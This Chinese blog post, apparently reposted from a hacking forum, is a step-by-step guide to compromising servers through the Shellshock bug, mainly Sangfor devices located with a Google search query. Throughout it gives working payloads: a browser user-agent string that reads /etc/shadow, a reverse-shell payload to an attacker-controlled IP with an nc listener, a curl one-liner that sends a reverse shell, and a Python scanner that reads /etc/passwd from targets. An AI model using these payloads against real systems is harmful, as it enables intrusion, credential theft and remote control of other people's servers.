最新消息:

利用shellshock拿服务器用例

技术 admin 5013浏览 0评论

原文:http://sb.f4ck.org/thread-20348-1-1.html

1、google高级搜索intitle:ad.sangfor.com,这个问题几年前发现的,因为设计缺陷造成,现在搜到的结果比以前少很多了。
当然还有其他的手段,就不多嘴了,深信服有那个几个特定的端口组合,nmap即可

104211njz7dm64hqhossuj

2、firefox浏览器中输入about:config,如果不存在general.useragent.override则添加,并将eneral.useragent.override设置值为() { :;}; echo  `/bin/cat /etc/shadow`,其意思就是设备浏览器默认user-agent为() { :;}; echo  `/bin/cat /etc/shadow`,freebuf早有验证方法.

QQ截图20141007212355

 

3、打开待测试网站,如果页面内容中存在/etc/shadow的内容的话,说明网站就存在shellshock漏洞

QQ截图20141007212752

4、上面测试用例只是读文件,可以将浏览器的general.useragent.override设置为

() { :;}; /bin/sh -i >& /dev/tcp/REVERSE_SHELL_IP/PORT 0>&1

来获取反弹shell。ps:将上面的REVERSE_SHELL_IP替换成自己控制的服务器的IP地址,并在服务器上使用nc -lvvp 8080来进行端口监听,然后等待反弹的shell即可。

QQ截图20141007213552

5、当然除了修改浏览器来反弹shell,可以使用curl方便的进行利用:

curl "https://xxxx.com/cgi-bin/login.cgi?action=log&fro=self"  -k -A "() { :;}; /bin/sh -i >&/dev/tcp/xx.xx.xx.xx/8080  0>&1"

 

批量检测是否存在shellshock漏洞的python脚本:

#!/usr/bin/env python
#coding:utf-8
import os
import sys
import re
print "f4ck ziwen cve 2014 6271 exp attacking!"
if sys.argv[1].startswith('-'):
    option = sys.argv[1][1:]
    if option == 'url':
        b=sys.argv[2]
        if not re.match("http",sys.argv[2]):
            print "URL格式错误 正确格式例如http://www.baidu.com/1.cgi"
        
        else:
            out=re.sub("\.|\/","",b)
            out=out[7:]
            print "shahdashhdd",out,b
            a="curl -H \'x: () { :;};a=`/bin/cat /etc/passwd`;echo \"a: $a\"' '"+b+"' -I -o "+out+"\"output\".txt"
            os.system(a)
            f = open(out+"output.txt", 'r')
            a=f.read()
            if re.search("root|bin\/bash",a):
                print "target possible have bug under is *nix passwd file"
                print a
            else:
                f.close()
                os.remove(out+"output.txt")
                print "possible dont have bug! or have a waf!"
    else:
        print "error! U can email to me U question (ziwen@21.wf)"
        print option

ps:当然,测试时最好用cat /etc/shadow来进行测试,因为有可能存在漏洞但是没有权限读/etc/passwd文件。

ps:另外,设置火狐浏览器的general.useragent.override会改变浏览器的User-Agent,如果一直保持() { :;}; echo  `/bin/cat /etc/shadow`这样的测试代码的话会引起不必要的麻烦,如访问某些网站遭到waf拦截,所以利用完后将其重置为空即可。

QQ截图20141007215027

 

本文隐藏内容 登陆 后才可以浏览

参考资料:

1、http://sb.f4ck.org/thread-20348-1-1.html

2、http://www.freebuf.com/tools/45311.html

 

转载请注明:jinglingshu的博客 » 利用shellshock拿服务器用例

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址